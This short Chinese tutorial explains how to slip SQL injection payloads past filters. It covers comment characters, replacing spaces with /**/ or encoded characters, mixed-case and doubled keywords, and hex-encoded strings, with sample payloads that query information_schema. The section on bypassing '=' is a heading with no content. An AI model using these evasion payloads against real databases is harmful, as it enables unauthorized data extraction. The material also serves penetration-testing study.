目录
1:注释的替换
2:空格替换
3:大小写混合绕过及双写绕过
4:等号的绕过
5:单双引号的绕过
1:注释的替换
注释在sql注入中非常重要,因为会使用它来闭合我们注入的sql语句。
当以get方式提交时使用的注释符为: #
当以post方式提交时使用的注释符为:‘-- ’ (在url中我们需要写为 --+)
当注释被过滤后我们可以使用数字型来进行闭合。比如: and '1' ='1 and "1"="1 等操作。
2:空格替换
当sql语句没有空格时就不可能完成sql注入。所以当空格被过滤后有一下几种替换空格的方式:
(1):我们使用 /**/ 来替代。
比如: union/**/select/**/1,2,3
(2): %0a %0b %0d %a0 来替换空格
比如: union%0aselect%0a1,2,3 (我们需要去一个一个尝试看是否有效)
(3):我们可以使用括号来替换空格
比如: updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
3:大小写混合绕过及双写绕过
当我们所需要的某个关键词被过滤后,我们可以尝试一下方法来进行绕过:
(1):大小写混合绕过
比如:当我们的select被过滤后我们可以尝试写: union SElecT 1,2,3#
(2):双写绕过
比如:当我们的and被过滤后我们可以尝试写: aandnd select 1,2,3 #
4:等号的绕过
当我们的“=” 被过滤后我们可以使用一下的方法进行绕过:
5:单双引号的绕过
当我们的单双引号被过滤后我们可以使用在线转化工具将我们需要写的数据转化为16进制,因为在mysql中支持16进制。当我们转化为16进制后就不需要使用单双引号了。
推荐一个在线工具:16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具 (sojson.com)
比如:
存在一个sql语句: select 1,group_concat(table_name) from information_schema.tables where table_schema="security"
接下来我们使用转化工具进行转化:将security转化为16进制,再代入到sql语句中。
转化后的sql: 注意需要在转化后的数字前面加上0x(0x代表16进制)
select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479